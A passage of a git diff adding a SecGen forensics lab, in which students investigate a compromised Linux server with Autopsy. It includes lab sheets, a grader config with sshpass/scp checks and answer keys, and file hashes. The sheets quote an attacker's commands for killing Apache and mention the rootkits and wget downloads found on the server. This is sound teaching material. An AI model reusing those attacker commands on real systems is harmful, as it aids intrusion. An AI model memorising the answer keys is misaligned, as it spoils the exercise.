previously recorded (for "/lib/.x/.boot") was in August 2003, so this is probably a good place to start. + +==Browse to August 2003 on the timeline==, and follow along: + +Note that on the 6th of August it seems many files were accessed, and not altered (displayed as ".a.."[^2]). This is probably the point at which the md5 hashes of all the files on the system were collected. + +On 9th August a number of config files were accessed including "/sbin/runlevel", "/sbin/ipchains", and "/bin/login". This indicates that the system was likely rebooted at this time. + +On 10th August, a number of files that have since been deleted were accessed. + +Shortly thereafter the inode data was changed (displayed as "..c.") for many files. Then many files owned by the *apache* user were last modified before they were deleted. The apache user goes on to access some more files, and then a number of header files (.h) were accessed, presumably in order to compile a C program from source. Directly after, some files were created, including "/usr/lib/adore", the Adore rootkit. + +At 23:30:54 /root/.bash\_history and /var/log/messages were symlinked to /dev/null. + +Next more header files were accessed, this time Linux kernel headers, presumably to compile a kernel module (or perhaps some code that tries to tamper with the kernel). This was followed by the creation of the SuckIT rootkit files, which we previously investigated. + +Note that a number of these files are created are again owned by the "apache" user. + +What does this tell you about the likely source of the compromise? + +Further down, note the creation of the /root/sslstop.tar.gz file which was extracted (files created), then compiled and run. Shortly after, the Apache config file (/etc/httpd/conf/httpd.conf) was modified. + +Why would an attacker, after compromising a system, want to stop SSL support in Apache? + +Meanwhile the attacker has accidently created a /.bash\_history, which has not been deleted. + +Further down we see wget accessed and used to download the /etc/opt/psyBNC2.3.1.tar.gz file, which we investigated earlier. + +This file was then extracted, and the program compiled. This involved accessing many header (.h) files. Finally, the "/etc/opt/psybnc/psybnc.conf" file is modified, presumably by the attacker, in order to configure the behaviour of the program. + +--- + +## Logs analysis + +As you learned in the Log Management topic, the most common logging system on Unix systems is Syslog, which is typically configured in /etc/syslog.conf (or similar, such as rsyslog). Within the Autopsy File Analysis browser, ==navigate to this configuration file and view its contents.== Note that most logging is configured to go to /var/log/messages. Some security messages are logged to /var/log/secure. Boot messages are logged to /var/log/boot.log. + +==Make a note of where mail messages are logged==, you will use this later: + +Within Autopsy, browse to /var/log. Note that you cannot view the messages file, which would have contained many helpful log entries. Click the inode number to the right (47173): + +As previously seen in the timeline, this file has been symlinked to /dev/null. If you are not familiar with /dev/null, search the Internet for an explanation. + +For now, we will continue by investigating the files that are available, and later investigate deleted files. + +Using Autopsy, ==view the /var/log/secure file==, and identify any IP addresses that have attempted to log in to the system using SSH or Telnet. + +==Determine the country of origin for each of these connection attempts:== + +> On a typical Unix system we can look up this information using the command: + +```bash +whois *IP-address* +``` +> (Where IP-address is the IP address being investigated). +> +> However, this may not be possible from within our lab environment, and alternatively there are a number of websites that be used (potentially from your own host PC): +> +> [*http://whois.domaintools.com/*](http://whois.domaintools.com/) +> +> [*http://whois.net/ip-address-lookup/*](http://whois.net/ip-address-lookup/) +> +> You may also run a traceroute to determine what routers lie between your system and the remote system. +> +> Additionally, software and websites exist that will graphically approximate the location of the IP: +> +> [*http://www.iplocationfinder.com/*](http://www.iplocationfinder.com/) + +--- + +Within Autopsy, ==view the /var/log/boot.log file==. At the top of this file Syslog reports starting at August 10 at 13:33:57. + +==LogBook Question: Given what we have learned about this system during timeline analysis, what is suspicious about Syslog restarting on August 10th? Was the system actually restarted at that time?== + +Note that according to the log, Apache fails to restart. Why can't Apache restart? Do you think the attacker intended to do this? + +==Open the mail log file==, which you recorded the location of earlier. ==Identify the email addresses that messages were sent to.== + +--- + +Another valuable source of information are records of commands that have been run by users. One source of this information is the .bash\_history file. As noted during timeline analysis, the /root/.bash\_history file was symlinked to /dev/null, meaning the history was not saved. However, the attacker did leave behind a Bash history file in the root of the filesystem ("/"). ==View this file.== + +Towards the end of this short Bash session the attacker downloads sslstop.tar.gz, then the attacker runs: + +```bash +ps aux | grep apache + +kill -9 21510 21511 23289 23292 23302 +``` + +==LogBook Question: What is the attacker attempting to do with these commands?== + +Apache has clearly played an important role in the activity of the attacker, so it is natural to investigate Apache's configuration and logs. + +Still in Autopsy, ==browse to /etc/httpd/conf/, and view httpd.conf.== + +Note that the Apache config has been altered by sslstop, by changing the "HAVE\_SSL" directive to "HAVE\_SSS" (remember, this file was shown in the timeline to be modified after sslstop was run) + +This configuration also specifies that Apache logs are stored in /etc/httpd/logs, and upon investigation this location is symlinked to /var/log/httpd/. This is a common Apache configuration. + +Unfortunately the /var/log/httpd/ directory does not exist, so clearly the attacker has attempted to cover their tracks by deleting Apache's log files. + +## Deleted files analysis + +Autopsy can be used to view files that have been deleted. Simply click "All Deleted Files", and browse through the deleted files it has discovered. Some of the deleted files will have known filenames, others will not. + +However, this is not an efficient way of searching through content to find relevant information. + +Since we are primarily interested in recovering lost log files (which are ASCII human-readable), one of the quickest methods is to extract all unallocated data from our evidence image, and search that for likely log messages. Autopsy has a keyword search. However, manual searching can be more efficient. + +In a terminal console in Kali Linux, ==run:== + +```bash +blkls -A evidence/hda1.img | strings > evidence/unallocated +``` + +This will extract all unallocated blocks from the partition, and run this through strings, which reduces it to text only (removing any binary data), and the results are stored in "evidence/unallocated". + +Open the extracted information for viewing: + +```bash +less evidence/unallocated +``` + +Scroll down, and ==find any deleted email message logs.== + +> Hint: try pressing ":" then type "/To:". + +==LogBook Question: What sorts of information was emailed?== + +To get the list of all email recipients quit less (press 'q'), and ==run:== + +```bash +grep "To:.*@" evidence/unallocated +``` + +Once again, ==open the extracted deleted information== for viewing: + +```bash +less evidence/unallocated +``` + +Scroll down until you notice some Bash history. What files have been downloaded using wget? Quit less, and write a grep command to search for wget commands used to download files. + +--- + +==Write a grep command to search for commands used by the attacker to delete files from the system.== + +Once again, open the extracted deleted information for viewing: + +```bash +less evidence/unallocated +``` + +Press ":" and type "/shellcode". There a quite a few exploits on this system, not all of which were used in the compromise. + +==Search for the contents of log files==, that were recorded on the day the attack took place: + +```bash +grep "Aug[/ ]10" evidence/unallocated +``` +Note that there is an error message from Apache that repeats many times, complaining that it cannot hold a lockfile. This is caused by the attacker having deleted the logs directory, which Apache is using. + +If things have gone extremely well the output will include further logs from Apache, including error messages with enough information to search the Internet for information about the exploit that was used to take control of Apache to run arbitrary code. If not, then at some point during live analysis you may have clobbered some deleted files. This is the important piece of information from unallocated disk space: + +` +[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) + +[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different +` + +This may indicate the exploitation of this software vulnerability: + +> OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability +> +> [*http://www.securityfocus.com/bid/5363*](http://www.securityfocus.com/bid/5363) + +[^1]: Note that the specifics of the times that are recorded depend on the filesystem in use. A typical Unix filesystem keeps a record of the most recent modification, most recent access, and most recent inode change. On Windows filesystems a creation date may be recorded in place of the inode change date. + +[^2]: [*http://wiki.sleuthkit.org/index.php?title=Mactime\_output*](http://wiki.sleuthkit.org/index.php?title=Mactime_output) diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/deleted.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/deleted.md.erb new file mode 100644 index 000000000..79fc189ae --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/deleted.md.erb @@ -0,0 +1,79 @@ +## Deleted files analysis + +Autopsy can be used to view files that have been deleted. Simply click "All Deleted Files", and browse through the deleted files it has discovered. Some of the deleted files will have known filenames, others will not. + +However, this is not an efficient way of searching through content to find relevant information. + +Since we are primarily interested in recovering lost log files (which are ASCII human-readable), one of the quickest methods is to extract all unallocated data from our evidence image, and search that for likely log messages. Autopsy has a keyword search. However, manual searching can be more efficient. + +In a terminal console in Kali Linux, ==run:== + +```bash +blkls -A evidence/hda1.img | strings > evidence/unallocated +``` + +This will extract all unallocated blocks from the partition, and run this through strings, which reduces it to text only (removing any binary data), and the results are stored in "evidence/unallocated". + +Open the extracted information for viewing: + +```bash +less evidence/unallocated +``` + +Scroll down, and ==find any deleted email message logs.== + +> Hint: try pressing ":" then type "/To:". + +==LogBook Question: What sorts of information was emailed?== + +To get the list of all email recipients quit less (press 'q'), and ==run:== + +```bash +grep "To:.*@" evidence/unallocated +``` + +Once again, ==open the extracted deleted information== for viewing: + +```bash +less evidence/unallocated +``` + +Scroll down until you notice some Bash history. What files have been downloaded using wget? Quit less, and write a grep command to search for wget commands used to download files. + +--- + +==Write a grep command to search for commands used by the attacker to delete files from the system.== + +Once again, open the extracted deleted information for viewing: + +```bash +less evidence/unallocated +``` + +Press ":" and type "/shellcode". There a quite a few exploits on this system, not all of which were used in the compromise. + +==Search for the contents of log files==, that were recorded on the day the attack took place: + +```bash +grep "Aug[/ ]10" evidence/unallocated +``` +Note that there is an error message from Apache that repeats many times, complaining that it cannot hold a lockfile. This is caused by the attacker having deleted the logs directory, which Apache is using. + +If things have gone extremely well the output will include further logs from Apache, including error messages with enough information to search the Internet for information about the exploit that was used to take control of Apache to run arbitrary code. If not, then at some point during live analysis you may have clobbered some deleted files. This is the important piece of information from unallocated disk space: + +` +[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) + +[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different +` + +This may indicate the exploitation of this software vulnerability: + +> OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability +> +> [*http://www.securityfocus.com/bid/5363*](http://www.securityfocus.com/bid/5363) + +[^1]: Note that the specifics of the times that are recorded depend on the filesystem in use. A typical Unix filesystem keeps a record of the most recent modification, most recent access, and most recent inode change. On Windows filesystems a creation date may be recorded in place of the inode change date. + +[^2]: [*http://wiki.sleuthkit.org/index.php?title=Mactime\_output*](http://wiki.sleuthkit.org/index.php?title=Mactime_output) + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/intro.md.erb new file mode 100644 index 000000000..1c2762049 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/intro.md.erb @@ -0,0 +1,195 @@ +# Analysis of a Compromised System - Part 2: Offline Analysis + +## Getting started + +> ###==**Note: You cannot complete this lab (part 2) without having saved the evidence you collected during part 1 of the lab.**== + +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot-server (leave it running, you don't log into this) +- desktop (this week's) +- desktop (last week's desktop VM, to access your evidence) +- kali (user: root, password: toor) + +All of these VMs need to be running to complete the lab. + +## Introduction to dead (offline) analysis + +Once you have collected information from a compromised computer (as you have done in the previous lab), you can continue analysis offline. There are a number of software environments that can be used do offline analysis. We will be using Kali Linux, which includes a number of forensic tools. Another popular toolset is the Helix incident response environment, which you may want to also experiment with. + +This lab reinforces what you have learned about integrity management and log analysis, and introduces a number of new concepts and tools. + +## Getting our data into the analysis environment + +To start, we need to ==get the evidence that has been collected in the previous lab onto an analysis system== (copy to /root/evidence on the Kali VM) that has software for analysing the evidence. + +If you still have your evidence stored on last week's desktop VM, you can transfer the evidence straight out of /home/*user* to the Kali Linux system using scp: + +```bash +scp -r *username-from-that-system*@*ip-address*:evidence evidence +``` +> **Note the IP addresses**: run /sbin/ifconfig on last week's Desktop VM, and also run ifconfig on the Kali VM. Make a note of the two IP addresses, which should be on the same subnet (starting the same). + +## Mounting the image read-only +**On Kali Linux**: + +It is possible to mount the partition image directly as a [*loop device*](http://en.wikipedia.org/wiki/Loop_device), and access the files directly. However, doing so should be done with caution (and is generally a bad idea, unless you are very careful), since there is some chance that it may result in changes to your evidence, and you risk infecting the analysis machine with any malware on the system being analysed. However, this technique is worth exploring, since it does make accessing files particularly convenient. + +==Create a directory to mount our evidence onto:== + +```bash +mkdir /mnt/compromised +``` + +==Mount the image== that we previously captured of the state of the main partition on the compromised system: + +```bash +mount -O ro -o loop evidence/hda1.img /mnt/compromised +``` + +> Troubleshooting: If you used a VMware VM in the live analysis lab, you may need to replace hda1.img with sda1.img + +Confirm that you can now see the files that were on the compromised system: + +```bash +ls /mnt/compromised +``` + +## Preparing for analysis of the integrity of files + +Fortunately the "system administrator" of the Red Hat server had run a file integrity tool to generate hashes before the system was compromised. Start by saving a copy of the hashes recorded of the system when it was in a clean state... + +Click here to download the md5 hashes of the system before it was compromised + +==Save the hashes in the evidence directory of the Kali VM, name the file "md5s".== + +==View the file==, to confirm all went well: + +```bash +less evidence/md5s +``` +> 'q' to quit + +As you have learned in the Integrity Management lab, this information can be used to check whether files have changed. + +## Starting Autopsy + +Autopsy is a front-end for the Sleuth Kit (TSK) collection of forensic analysis command line tools. There is a version of Autopsy included in Kali Linux (a newer desktop-based version is also available for Windows). + +==Create a directory== for storing the evidence files from Autopsy: + +```bash +mkdir /root/evidence/autopsy +``` + +Start Autopsy. You can do this using the program menu. ==Click Applications / Forensics / autopsy.== + +A terminal window should be displayed. + +==Open Firefox, and visit [http://localhost:9999/autopsy](http://localhost:9999/autopsy)== + +==Click "New Case".== + +==Enter a case name==, such as "RedHatCompromised", and ==a description==, such as "Compromised Linux server", and ==enter your name==. ==Click "New Case".== + +==Click the "Add Host" button.== + +In section "6. Path of Ignore Hash Database", ==enter /root/linux-suspended-md5s== + +==Click the "Add Host" button== at the bottom of the page + +==Click "Add Image".== + +==Click "Add Image File".== + +For section "1. Location", ==enter /root/evidence/hda1.img== + +For "2. Type", ==select "Partition".== + +For "3. Import Method", ==select "Symlink".== + +==Click "Next".== + +==Click "Add".== + +==Click "Ok".== + +## File type analysis and integrity checking + +Now that you have started and configured Autopsy with a new case and hash database, you can view the categories of files, while ignoring files that you know to be safe. + +==Click "Analyse".== + +==Click "File Type".== + +==Click "Sort Files by Type".== + +Confirm that "Ignore files that are found in the Exclude Hash Database" is selected. + +==Click "Ok"==, this analysis takes some time. + +Once complete, ==view the "Results Summary".== + +The output shows that over 16000 files have been ignored because they were found in the md5 hashes ("Hash Database Exclusions"). This is good news, since what it leaves us with are the interesting files that have changed or been created since the system was in a clean state. This includes archives, executables, and text files (amongst other categories). + +==Click "View Sorted Files".== + +Copy the results file location as reported by Autopsy, and ==open the report in a new tab within Firefox:== + +> /var/lib/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html + +==Click "compress"==, to view the compressed files. You are greeted with a list of two compressed file archives, "/etc/opt/psyBNC2.3.1.tar.gz", and "/root/sslstop.tar.gz". + +==Figure out what `psyBNC2.3.1.tar.gz` is used for.== +> Try using Google, to search for the file name, or part thereof. + +Browse the evidence in /mnt/compromised/etc/opt (on the Kali Linux system, using a file browser, such as Dolphin) and look at the contents of the archive (in /etc/opt, and you may find that the attacker has left an uncompressed version which you can assess in Autopsy). Remember, don't execute any files from the compromised system on your analysis machine: you don't want to end up infecting your analysis machine. For this reason, it is safer to assess these files via Autopsy. ==Browse to the directory by clicking back to the Results Summary tab of Autopsy, and clicking "File Analysis"==, then browse to the files from there (in /etc/opt). Read the psyBNC README file, and ==note what this software package is used for.== + +> **Help: if the README file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click each direct block link in turn to see the content of the README file. The direct block links are displayed at the bottom left-hand side of the webpage. + +Next, we investigate what sslstop.tar.gz is used for. A quick Google brings up a CGSecurity.org page, which reports that this script modifies httpd.conf to disable SSL support from Apache. Interesting... Why would an attacker want to disable SSL support? This should soon become clear. + +==Return the page where "compress" was accessed== (/root/evidence/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html), and ==click "exec"==. This page lists a fairly extensive collection of new executables on our compromised server. + +==Make a list of all the executables that are likely trojanized.== +> Hint: for now ignore the "relocatable" objects left from compiling the PSYBNC software, and focus on "executable" files, especially those in /bin/ and /usr/bin/. + +--- + +Refer to your previously collected evidence to ==identify whether any of the new executables were those with open ports== when live information was collected. Two of these have particularly interesting file names: `/usr/bin/smbd -D` and `/usr/bin/(swapd)`. These names are designed to be deceptive: for example, the inclusion of ` -D` is designed to trick system administrators into thinking that any processes were started with the "-D" command line argument flag. + +Note that /lib/.x/ contains a number of new executables, including one called "hide". These are likely part of a rootkit. +> **Hint:** to view these files you will have to look in /mnt/compromised/lib/.x. The .x folder is a hidden folder (all folders and file in Linux that begin with a "." ar hidden files). Therefore, you will have to use the -a switch when using the ls command in a terminal or tell the graphical file manager to display hidden files ( View > Show Hidden Files or Ctrl+H). + +==Using Autopsy "File Analysis" mode, browse to "/lib/.x/"==. **Explicit language warning: if you are easily offended, then skip this next step.** View the contents of "install.log". +> **Hint:** you will have to click **../** to move up the directory tree until you can see the lib directory in the root directory /. + +> **Help: if the install.log file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click the direct block link to see the content of the install.log file. The direct block links are displayed at the bottom left-hand side of the webpage. + +This includes the lines: + +> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# +> \# SucKIT version 1.3b by Unseen < unseen@broken.org > \# +> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# + +SuckIT is a rootkit that tampers with the Linux kernel directly via /dev/kmem, rather than the usual approach of loading a loadable kernel module (LKM). The lines in the log may indicate that the rootkit had troubles loading. + +SuckIT and the rootkit technique is described in detail in Phrack issue 58, article 0x07 "Linux on-the-fly kernel patching without LKM" + +> [*http://www.textfiles.com/magazines/PHRACK/PHRACK58*](http://www.textfiles.com/magazines/PHRACK/PHRACK58) + +==Using Autopsy "File Analysis", view the file /lib/.x/.boot== + +> **Help:** again you may need to view the block directly that contains the .boot file. Make a note of the file's access times, this will come in handy soon. + +This shell script starts an SSH server (s/xopen), and sends an email to a specific email address to inform them that the machine is available. View the script, and ==determine what email address it will email the information to.== + +Return to the file type analysis (presumably still open in an Iceweasel tab), still viewing the "exec" category, also note the presence of "adore.o". Adore is another rootkit (and worm), this one loads via an LKM (loadable kernel module). + +Here is a concise description of a version of Adore: + +> [*http://lwn.net/Articles/75990/*](http://lwn.net/Articles/75990/) + +This system is well and truly compromised, with multiple kernel rootkits installed, and various trojanized binaries. diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/lab.xml.erb new file mode 100644 index 000000000..8835417c2 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/lab.xml.erb @@ -0,0 +1,242 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_user_pass = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 8 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + false + + + + + Hi there. It seems we have a server that's been compromised. Investigate for me, and I'll give you some flags. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Live Analysis + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $rand_name1 = SecureRandom.hex(3) + $flag1 = $flags.pop + $flag2 = $flags.pop +%> + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name1 %> /tmp/susp_trojans; echo $?; cat /tmp/susp_trojans | sort + false + Create a list of the potentially trojanised executables on the compromised system, save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name1 %>. Use full pathnames, one per line. + + + /lib/.x/|/root/sslstop/ + :( Only include the programs that are typically found on a Linux system, but that seem to have been replaced with Trojans horses. + + + + /bin/ls.*/bin/netstat.*/bin/ps.*/sbin/ifconfig.*/usr/bin/top + :-D Well done! Two flags for you! <%= $flag1 %>, <%= $flag2 %>. + + + + /bin/ls|/bin/netstat|/bin/ps|/sbin/ifconfig|/usr/bin/top + :) Well done! <%= $flag1 %>. You have some but not all. There are more flags to be had, by including more. + + + + 1 + :( Failed to get the file. + + + :( List is incomplete... + + + <%= ERB.new(File.read self.templates_path + 'timeline.md.erb').result(self.get_binding) %> + + + +<% $rand_name2 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name2 %> /tmp/susp_pids; echo --$?; cat /tmp/susp_pids + false + + Create a list of IP addresses you beleive have attempted to log in to the system using SSH or Telnet. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name2 %>. + + + 202.85.165.45|192.109.122.5 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to get file. + + + :( List is incomplete... + + +<% $questions = {'What is the approximate longitude of the IP addresses that have attempted to log in to the system using SSH or Telnet?'=>'4\.|114\.','What countries are the IP addresses that have attempted to log in to the system using SSH or Telnet'=>'Hong Kong|Netherlands'} + $rand_question1 = $questions.keys.sample %> + + + <%= $rand_question1 %> + <%= $questions[$rand_question1] %> + :) <%= $flags.pop %> + + + + + + +<% $rand_name3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name3 %> /tmp/susp_email; echo $?; cat /tmp/susp_email + false + + Save the email addresses that messages were sent to. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name3 %>. + + + newtraceuser@yahoo.com|skiZophrenia_siCk@yahoo.com|jijeljijel@yahoo.com + :) Well done! <%= $flags.pop %>. + + + + 1 + :( Failed to get the file. + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'logs.md.erb').result(self.get_binding) %> + + + + +<% $rand_name4 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name4 %> /tmp/susp_wget; echo $?; cat /tmp/susp_wget + false + + Save the wget commands used to download rootkits. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name4 %>. + + + wget geocities.com + :) Well done! <%= $flags.pop %>. + + + + 1 + :( Failed to get the file. + + + :( List is incomplete... + + + + What country is the attacker likely from? + Romania + :) <%= $flags.pop %> + + + + <%= ERB.new(File.read self.templates_path + 'deleted.md.erb').result(self.get_binding) %> + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/linux-md5s b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/linux-md5s new file mode 100644 index 000000000..eb97b890f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/linux-md5s @@ -0,0 +1,16959 @@ +4a51ff671301fdbe47be03e194f77a8e /dev/MAKEDEV +8831d78a68d5308c3f024b6d1ca8ec94 /var/lib/rpm/Packages +98e4e1fea4530c03923d06c3b5068fce /var/lib/rpm/Basenames +523809658d032fa3efbc052cc84ae81d /var/lib/rpm/Name +9fdabd43c155e6bf6065fc0266d62262 /var/lib/rpm/Group +4e57bb608eda8ffb50143eeb404a469f /var/lib/rpm/Requirename +d9e50a5a3054c7bee21f9f3101df0a7e /var/lib/rpm/Providename +e9b2117bcbeef3095eedfdcad14c113e /var/lib/rpm/Conflictname +2cd12d68702afd68fd8f7e58fbe903bb /var/lib/rpm/Dirnames +e3b82591549db9440b86378aaecb0bad /var/lib/rpm/Requireversion +d16911b95e5aa82846d41445928664dc /var/lib/rpm/Provideversion +77ed74f54c2f4e682d46b9556987b90e /var/lib/rpm/Installtid +07a1de60bb4c06a3e20c17c55d9f49db /var/lib/rpm/Triggername +7bfa7ce6e4acce6780d8b81546dad3c9 /var/lib/slocate/slocate.db +439b418458b40cc62f471b0c51cc5bb2 /var/lib/random-seed +291f12e154d45586c2a41e4b7ad62a6d /var/lib/logrotate.status +409c44a68c301d79df3ede17cf8a8d9f /var/log/messages +6bb893f1085e1fd230d3a934db5ca363 /var/log/lastlog +d41d8cd98f00b204e9800998ecf8427e /var/log/secure +d41d8cd98f00b204e9800998ecf8427e /var/log/maillog +d41d8cd98f00b204e9800998ecf8427e /var/log/spooler +132331a90bde9f676729bfe90769f4b1 /var/log/wtmp +7a990b47fd4e39c1308805667bc40811 /var/log/sa/sa14 +cf72f18fec7c639c21050c2dab45cf25 /var/log/sa/sa15 +b191f82c1644c285a149aee853441535 /var/log/sa/sar14 +87483158854aa63be796634c6c7cb8bd /var/log/sa/sa16 +c4005ec91beebcfcbab28b26a46e180f /var/log/sa/sar15 +be6ed59a2b227f0907801034c3513e24 /var/log/sa/sa06 +d41d8cd98f00b204e9800998ecf8427e /var/log/samba/log.smbd +d41d8cd98f00b204e9800998ecf8427e /var/log/samba/smbd.log +d41d8cd98f00b204e9800998ecf8427e /var/log/samba/log.nmbd +d41d8cd98f00b204e9800998ecf8427e /var/log/samba/localhost.log +d41d8cd98f00b204e9800998ecf8427e /var/log/xferlog +4fc0f3a66912a49611bdc073693a4878 /var/log/httpd/error_log +9048cc92be5325856bc26de91e8ac9e9 /var/log/httpd/ssl_engine_log +95999f5d95a6d4c1193b48f22219f1c2 /var/log/httpd/access_log +d41d8cd98f00b204e9800998ecf8427e /var/log/httpd/ssl_request_log +3dac70aaaad4a6cd990c42dd7403b8de /var/log/httpd/access_log.1 +d6cefd90702a322082dc6edbb56a8a92 /var/log/httpd/error_log.1 +0bbf2a358a55eddbd9930342bc8fc726 /var/log/dmesg +71cf62950e1cc68e9342b8650648e563 /var/log/cron +fc48224fcd92e1de91f91b58f55e4830 /var/log/boot.log +0d668873f2f9b343d85a0832c833fa60 /var/log/rpmpkgs +9f75108a0bf0908b3cc8f19f03a7f299 /var/cache/man/whatis +7426059ecf6bfedeb0f2a354cfc8b568 /var/cache/samba/smbd.pid +796f741c5d79c0f24669367e93715e32 /var/cache/samba/messages.tdb +a1182398ec509ec0cea254d58d8de014 /var/cache/samba/connections.tdb +314612a286ad2d4491d9dc1e34db39c4 /var/cache/samba/nmbd.pid +796f741c5d79c0f24669367e93715e32 /var/cache/samba/brlock.tdb +796f741c5d79c0f24669367e93715e32 /var/cache/samba/locking.tdb +8f00e44419f2189fc6791eeaeb6059c4 /var/cache/samba/printing.tdb +5d64ebbc96d5b5df03f46ef13a999af4 /var/cache/samba/ntdrivers.tdb +5d64ebbc96d5b5df03f46ef13a999af4 /var/cache/samba/share_info.tdb +8e60e32fe71904bfbd7df80f2afa2553 /var/cache/samba/browse.dat +d41d8cd98f00b204e9800998ecf8427e /var/lock/subsys/network +d41d8cd98f00b204e9800998ecf8427e /var/lock/subsys/syslog +d41d8cd98f00b204e9800998ecf8427e /var/lock/subsys/keytable 